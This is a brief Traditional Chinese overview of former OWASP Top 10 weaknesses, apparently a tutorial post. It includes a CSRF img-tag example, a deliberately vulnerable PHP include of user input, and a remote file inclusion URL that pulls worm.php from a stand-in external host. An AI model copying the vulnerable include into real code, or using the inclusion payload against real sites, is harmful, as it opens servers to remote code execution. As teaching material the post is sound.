前言
這裡我們來稍微聊聊,這些曾經出現在 OWASP TOP10 榜上的弱點
雖然後來沒在 OWASP TOP10 2017 上,但不代表能忽略掉他們。
跨站冒名請求 Cross site request forgery
<img src="http://www.example.com/logout.php">
程式碼錯誤訊息外漏 Information Leakage and Improper Error Handling
當系統因為邏輯或資料錯誤,會將程式碼之錯誤訊息暴露在網頁上
輸入不同的參數給予該程式執行時,可能產生不同的錯誤,例如:錯誤的SQL敘述,使得有心人士可以利用不同之錯誤訊息進行資料收集
未加密的儲存設備 Insecure Cryptographic Storage
未加密的網路連線 Insecure Communication
無權限的控制 Failure to Restrict URL Access
惡意程式執行 Malicious File Execution
$report = $_POST[‘file’];
include $report;
http://www.example.com/index.php?file=http://www.example2.com/worm.php
PHP:include(), include_once(), require(), require_once(), fopen(), readfile(), ... [color=#67e5d4]
JSP/Servlet:java.io.File(), java.io.FileReader(), ...
ASP:include file, include virtual, ...